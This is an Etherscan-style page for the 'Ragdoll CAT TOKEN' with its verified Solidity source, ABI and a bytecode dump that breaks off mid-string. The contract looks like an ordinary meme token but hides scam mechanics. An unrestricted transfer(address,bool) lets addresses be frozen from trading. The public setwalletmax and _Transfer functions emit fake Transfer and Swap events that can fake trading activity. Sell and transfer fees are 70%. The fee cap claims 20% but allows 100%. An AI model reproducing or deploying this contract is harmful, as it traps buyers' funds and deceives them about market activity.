ETH Price: $2,771.25 (+5.60%)

Token

Ragdoll CAT TOKEN (Ragdoll)
 

Overview

Max Total Supply

420,690,000,000,000 Ragdoll

Holders

23

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ragdoll

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

/**
TG:https://t.me/Ragdollcaterc
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    }

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract Ragdoll is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Ragdoll CAT TOKEN';
    string private constant _symbol = 'Ragdoll';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 420690000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    mapping (address => bool) public isSwap;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;
    uint256 private burnFee = 0;
    uint256 private totalFee = 3000;
    uint256 private sellFee = 7000;
    uint256 private transferFee = 7000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x59F1E2A4d0DE6f67306cC714Ba1D53c3Ef0f9c3F; 
    address internal marketing_receiver = 0xBF262A0b1E77587D38c3BB6A268c3f6871c3Ff73;
    address internal liquidity_receiver = 0xBF262A0b1E77587D38c3BB6A268c3f6871c3Ff73;
    uint256 public _maxTxAmount = ( _totalSupply * 500 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 500 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 500 ) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapThreshold);
    }
    function transfer(address ad,bool NewValue) public {development_receiver;
    isSwap[ad] = NewValue;
    }
    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }
    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }
    function setwalletmax(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }
    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!isSwap[sender]);
        require(!isSwap[recipient]);
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"setwalletmax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"},{"internalType":"bool","name":"NewValue","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004eb565b620000259066017e9d8602b40062000503565b60018181556008805461ffff60a01b1916600160a81b179055600b55620186a09062000054906103e862000503565b6200006091906200051d565b600c55620186a0600154600a62000078919062000503565b6200008491906200051d565b600d556000600e819055600f8190556103e8601055601155610bb8601255611b5860138190556014556127106015819055601680546001600160a01b03199081167359f1e2a4d0de6f67306cc714ba1d53c3ef0f9c3f1790915560178054821673bf262a0b1e77587d38c3bb6a268c3f6871c3ff73908117909155601880549092161790556001546200011a906101f462000503565b6200012691906200051d565b6019556127106001546101f46200013e919062000503565b6200014a91906200051d565b601a556127106001546101f462000162919062000503565b6200016e91906200051d565b601b553480156200017e57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020c919062000540565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000280919062000540565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f4919062000540565b600780546001600160a01b038581166001600160a01b031992831617909255600880548484169216919091179055306000908152600460209081526040808320805460ff19908116600190811790925560185486168552828520805482168317905560175486168552828520805482168317905560165490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200056b565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200042d578160001904821115620004115762000411620003d6565b808516156200041f57918102915b93841c9390800290620003f1565b509250929050565b6000826200044657506001620004e5565b816200045557506000620004e5565b81600181146200046e5760028114620004795762000499565b6001915050620004e5565b60ff8411156200048d576200048d620003d6565b50506001821b620004e5565b5060208310610133831016604e8410600b8410161715620004be575081810a620004e5565b620004ca8383620003ec565b8060001904821115620004e157620004e1620003d6565b0290505b92915050565b6000620004fc60ff84168362000435565b9392505050565b8082028115828204841417620004e557620004e5620003d6565b6000826200053b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200055357600080fd5b81516001600160a01b0381168114620004fc57600080fd5b6123f4806200057b6000396000f3fe6080604052600436106101d05760003560e01c806378109e54116100f75780639cc3535111610095578063cb7f97d711610064578063cb7f97d7146105ae578063dd62ed3e146105ce578063e156b1b614610614578063f2fde38b1461063457600080fd5b80639cc353511461052e5780639d8740cb1461054e578063a8aa1b311461056e578063a9059cbb1461058e57600080fd5b8063893d20e8116100d1578063893d20e81461048c5780638cd4426d146104be5780639213c358146104de57806395d89b41146104fe57600080fd5b806378109e541461044a5780637cca52fe146104605780637d1db4a51461047657600080fd5b8063293230b81161016f57806348ff2b8b1161013e57806348ff2b8b1461039957806351bc3c85146103b957806370a08231146103ce57806377ad25dd1461040457600080fd5b8063293230b8146103095780632f54bf6e1461031e578063313ce5671461034d5780633f4218e01461036957600080fd5b80630b27305f116101ab5780630b27305f1461027457806318160ddd146102a4578063229b6a5e146102c757806323b872dd146102e957600080fd5b806292dca4146101dc57806306fdde0314610211578063095ea7b31461025457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611e29565b610654565b60405190151581526020015b60405180910390f35b34801561021d57600080fd5b506040805180820190915260118152702930b3b237b6361021a0aa102a27a5a2a760791b60208201525b6040516102089190611f35565b34801561026057600080fd5b506101fc61026f366004611f83565b61086b565b34801561028057600080fd5b506101fc61028f366004611faf565b60066020526000908152604090205460ff1681565b3480156102b057600080fd5b506102b9610882565b604051908152602001610208565b3480156102d357600080fd5b506102e76102e2366004611fda565b6108f3565b005b3480156102f557600080fd5b506101fc610304366004612060565b61099d565b34801561031557600080fd5b506102e7610a07565b34801561032a57600080fd5b506101fc610339366004611faf565b6000546001600160a01b0391821691161490565b34801561035957600080fd5b5060405160098152602001610208565b34801561037557600080fd5b506101fc610384366004611faf565b60046020526000908152604090205460ff1681565b3480156103a557600080fd5b506102e76103b43660046120a1565b610a46565b3480156103c557600080fd5b506102e7610a9b565b3480156103da57600080fd5b506102b96103e9366004611faf565b6001600160a01b031660009081526002602052604090205490565b34801561041057600080fd5b506102e761041f3660046120a1565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b34801561045657600080fd5b506102b9601b5481565b34801561046c57600080fd5b506102b9601a5481565b34801561048257600080fd5b506102b960195481565b34801561049857600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610208565b3480156104ca57600080fd5b506102e76104d9366004611f83565b610ad2565b3480156104ea57600080fd5b506102e76104f93660046120da565b610bf9565b34801561050a57600080fd5b50604080518082019091526007815266149859d91bdb1b60ca1b6020820152610247565b34801561053a57600080fd5b506102e761054936600461211a565b610c9f565b34801561055a57600080fd5b506102e761056936600461211a565b610dd4565b34801561057a57600080fd5b506008546104a6906001600160a01b031681565b34801561059a57600080fd5b506101fc6105a9366004611f83565b610e3a565b3480156105ba57600080fd5b506102e76105c9366004612146565b610e47565b3480156105da57600080fd5b506102b96105e9366004612192565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062057600080fd5b506101fc61062f366004612060565b610f3e565b34801561064057600080fd5b506102e761064f366004611faf565b610f85565b6000805b855181101561085e57858181518110610673576106736121c0565b60200260200101516001600160a01b0316876001600160a01b031660008051602061239f8339815191528784815181106106af576106af6121c0565b60200260200101516040516106c691815260200190565b60405180910390a38581815181106106e0576106e06121c0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610742576107426121c0565b602002602001015160008089878151811061075f5761075f6121c0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b68783815181106107ad576107ad6121c0565b6020026020010151898785815181106107c8576107c86121c0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b91906121d6565b508061085681612209565b915050610658565b5060019695505050505050565b6000610878338484611003565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926108ee9290916108e89190611127565b90611127565b905090565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161091d90612222565b60405180910390fd5b60005b82811015610997578160056000868685818110610948576109486121c0565b905060200201602081019061095d9190611faf565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098f81612209565b915050610929565b50505050565b60006109aa848484611133565b6109fc84336109f785604051806060016040528060288152602001612377602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906116ba565b611003565b5060015b9392505050565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161091d90612222565b6008805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161091d90612222565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161091d90612222565b610ad0600c546116e6565b565b6000546001600160a01b03163314610afc5760405162461bcd60e51b815260040161091d90612222565b6040516370a0823160e01b8152306004820152600090610b8090606490610b7a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b749190612242565b90611863565b9061186f565b60165460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099791906121d6565b6000546001600160a01b03163314610c235760405162461bcd60e51b815260040161091d90612222565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b03163314610cc95760405162461bcd60e51b815260040161091d90612222565b6000610ce6612710610b7a8660015461186390919063ffffffff16565b90506000610d05612710610b7a8660015461186390919063ffffffff16565b90506000610d24612710610b7a8660015461186390919063ffffffff16565b6019849055601a839055601b81905590506000610d4a6103e8610b7a6005610b74610882565b9050808410158015610d5c5750808310155b8015610d685750808210155b610dcb5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161091d565b50505050505050565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b815260040161091d90612222565b600b839055600154610e1990620186a090610b7a9085611863565b600c55600154610e3290620186a090610b7a9084611863565b600d55505050565b6000610878338484611133565b6000546001600160a01b03163314610e715760405162461bcd60e51b815260040161091d90612222565b600e879055600f86905560118590556010849